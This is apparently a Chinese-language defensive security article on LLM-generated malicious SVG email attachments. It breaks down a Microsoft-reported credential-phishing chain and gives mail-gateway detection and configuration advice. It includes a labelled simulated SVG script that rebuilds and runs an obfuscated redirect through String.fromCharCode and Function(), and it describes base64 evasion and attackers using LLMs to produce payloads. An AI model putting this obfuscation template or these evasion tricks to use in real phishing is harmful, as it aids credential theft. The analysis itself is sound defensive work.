LLM 生成的 SVG 恶意载荷检测:攻击原理与邮件网关防御
攻击背景:AI 进入钓鱼载荷生产链
2025 年 8-9 月,微软威胁情报团队披露了一起针对美国机构的凭证钓鱼活动:攻击者疑似使用大语言模型(LLM)生成恶意 SVG 文件,并通过邮件附件投递,成功绕过了部分传统邮件安全检测。微软在分析中指出,该活动「借助 LLM 技术,将恶意行为隐藏在 SVG 文件中,通过商业术语和人工合成的文件结构掩盖其真实意图」。
这一事件标志着 AI 工具已进入钓鱼攻击的载荷生产环节——不再只是辅助撰写话术,而是直接生成结构复杂、语法正确的恶意代码。过去制作一个能绕过检测又有效执行恶意功能的 SVG 需要前端与 XML 专业知识,现在攻击者只需向 LLM 描述需求即可批量产出,攻击门槛被显著拉低。
1. SVG 为何成为恶意载体
SVG(Scalable Vector Graphics,可缩放矢量图形)是基于 XML 的开放标准矢量图像格式(W3C 标准),与 JPG/PNG 等纯位图格式有本质区别:
- 文本可读且内嵌脚本:SVG 以纯文本存储,可内嵌
<script>标签执行 JavaScript(如type="application/ecmascript"),浏览器打开时即执行。 - 隐藏元素与编码属性:可声明隐藏图层、编码后的属性值,静态扫描难以直接判定恶意。
- 延迟脚本执行:通过
setTimeout等机制延迟跳转,先渲染诱饵内容再重定向,规避沙箱的即时检测。 - 扩展名伪装:攻击者常将 SVG 命名为「PDF」或「文档」样式(如微软披露样本
23mb - PDF-6 pages.svg),用户双击后由浏览器(而非 PDF 阅读器)打开并执行脚本。
微软对此的官方表述是:「SVG 文件以文本为基础且支持脚本,攻击者可嵌入 JavaScript 等动态内容,这使得交互式钓鱼载荷既能欺骗用户,又能绕过多数安全工具的检测。此外,SVG 格式支持隐藏元素、编码属性和延迟脚本执行等特性,使其成为规避静态分析和沙箱检测的理想载体。」
2. 攻击链拆解(微软披露样本)
2.1 投递:自寄自收 + BCC 规避
攻击者首先入侵一个小型企业邮箱账户,发送伪装成文件共享通知的钓鱼邮件。关键特征:
- 自寄自收(Self-to-self):发件人与收件人显示为同一地址,规避「外部发件人」类的启发式告警。
- 目标隐藏在 BCC:真实受害者位于密送栏,进一步绕过「单封邮件单收件人」的基础检测规则。
2.2 附件:伪装 PDF 的 SVG
附件命名为 23mb - PDF-6 pages.svg,视觉设计成标准 PDF 文档外观,诱骗用户打开。文件实际是 SVG,双击后在浏览器中渲染并执行内嵌脚本。
2.3 重定向:CAPTCHA 建立信任
脚本执行后先将用户重定向至伪装的验证码(CAPTCHA)页面,再跳转至伪造登录界面窃取凭证。中间加一道「人机验证」页面的目的:
- 增强社会工程迷惑性,让用户以为站点受可信安全机制保护;
- 阻滞自动化扫描器——沙箱若不模拟交互,会停留在验证页而无法到达最终钓鱼表单。
2.4 混淆:商业术语双层伪装
该攻击最独特之处在于混淆手法:SVG 开头被设计成商业分析仪表盘样式,核心功能(重定向、浏览器指纹识别、会话跟踪)隐藏在冗长的商业术语中(营收、运营、风险、季度、增长、股份等)。微软安全副驾驶(Security Copilot)分析判定该代码「由于复杂性、冗余度及缺乏实际效用,不太可能是人工从头编写的」,LLM 生成特征包括:
- 函数与变量命名过度描述且重复;
- 高度模块化的过度工程化代码结构;
- 通用且冗长的注释内容;
- 使用商业术语实现公式化混淆;
- 包含模仿文档示例的 CDATA 与 XML 声明。
3. SVG 混淆技术原理
除商业术语混淆外,公开技术分析(FreeBuf,2025-04)归纳了邮件中 SVG 钓鱼附件的典型混淆手法:
3.1 CDATA 包裹 + 字符数组还原
恶意 JavaScript 内嵌于 <![CDATA[ ... ]]> 块中(不影响 XML 解析),代码将字符码点数组经 String.fromCharCode() 还原为字符串,再用 Function() 构造函数动态执行。以下为模拟示例(非真实样本):
<script type="application/ecmascript"><![CDATA[
var charCodes = [119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,104,116,116,112,115,58,47,47,109,97,108,105,99,105,111,117,115,46,100,111,109,39];
var scriptStr = charCodes.map(c => String.fromCharCode(c)).join('');
Function(scriptStr)(); // 还原为 window.location.href='https://malicious.dom'
]]></script>
3.2 嵌套 Base64 解码
恶意 URL 分段 Base64 编码存放,运行时用 atob() 多次嵌套解码拼合。静态扫描看到的只是无意义的 base64 字符串,真正的 URL 只在运行时还原。
3.3 多阶段跳转 + 参数携带邮箱
还原出的首跳 URL 通常形如 https://documents.example520.com/KHDSABC?e=<用户邮箱>——子域名带 documents. 前缀模仿文件共享服务,路径随机化,查询参数携带收件人邮箱用于追踪与登录表单预填充。随后跳转至伪装的验证页(office365cloud=true 等参数),最终到达钓鱼登录页。多步链路使邮件网关难以解析、沙盒难以穿透。
4. 邮件网关检测要点
- 扩展名与 MIME 一致性校验:核对附件扩展名与 Content-Type 是否匹配;对声称 PDF 实为 SVG/HTML 的「类型混淆」附件直接标记。SVG 注册 MIME 为
image/svg+xml,若邮件以application/octet-stream携带 .svg 附件,需提高关注等级。 - 脚本标签扫描:对 SVG/HTML 类文本附件做内容解析,检测
<script>、<foreignObject>、onload/onclick事件属性、CDATA 块内的可执行代码。 - 动态解码模拟:对字符数组 +
Function()/eval()模式、嵌套 base64 +atob()模式做模式匹配与解码模拟,还原出真实 URL 后再做信誉查询。 - 重定向链分析:将附件中还原的 URL 与已知钓鱼基础设施比对;关注「documents. 前缀子域 + 随机路径 + 邮箱参数」的组合特征。
- 自寄自收异常检测:对 From=To 且存在 BCC 的邮件提高警惕——正常业务邮件极少自寄自收。
- 沙箱交互增强:对含验证码/延时跳转的样本,沙箱应模拟点击、等待延时窗口,避免停留在中间页误判为良性。
5. 邮件网关防御配置建议
- MIME 白名单策略:若无业务需求,可在网关卡控层直接阻断
image/svg+xml与 .svg 附件(尤其对互联网入站邮件);确需接收的,先经内容沙箱。 - 强制附件类型校验:开启「扩展名-内容魔数」一致性检查,识别伪装 PDF 的 SVG(SVG 文件头为
<?xml或<svg而非%PDF)。 - URL 信誉联动:将附件中解码出的 URL 送入实时信誉查询(如 Spamhaus 等),匹配即隔离。
- AI 辅助深检:对无法静态判定的灰色 SVG 样本,使用 LLM 辅助分析(如 Rspamd GPT 插件等)评估代码意图——微软已用 Security Copilot 成功判定 LLM 生成载荷。
- 用户侧缓解:通知用户不要打开邮件中的「PDF」附件;在浏览器中打开未知文档时警惕验证码页与登录页跳转。
6. 趋势与展望
微软警告称:「虽然本次攻击范围有限且已被阻断,但同类技术正被更多威胁行为体采用。」2025 年以来,SVG 附件在钓鱼活动中的使用显著上升,且与 HTML smuggling、ClickFix 等既有手法组合使用。对邮件安全运营者而言,LLM 生成载荷意味着:
- 恶意代码的语法质量与结构复杂度将持续提升,基于简单特征(关键词、固定 URL)的检测快速失效;
- 「内容语义」而非「代码表面」将成为判定关键,AI 辅助分析与行为沙箱的重要性上升;
- 类型混淆(伪装 PDF/Office 文档的文本格式)附件应成为网关的高优先级检查对象。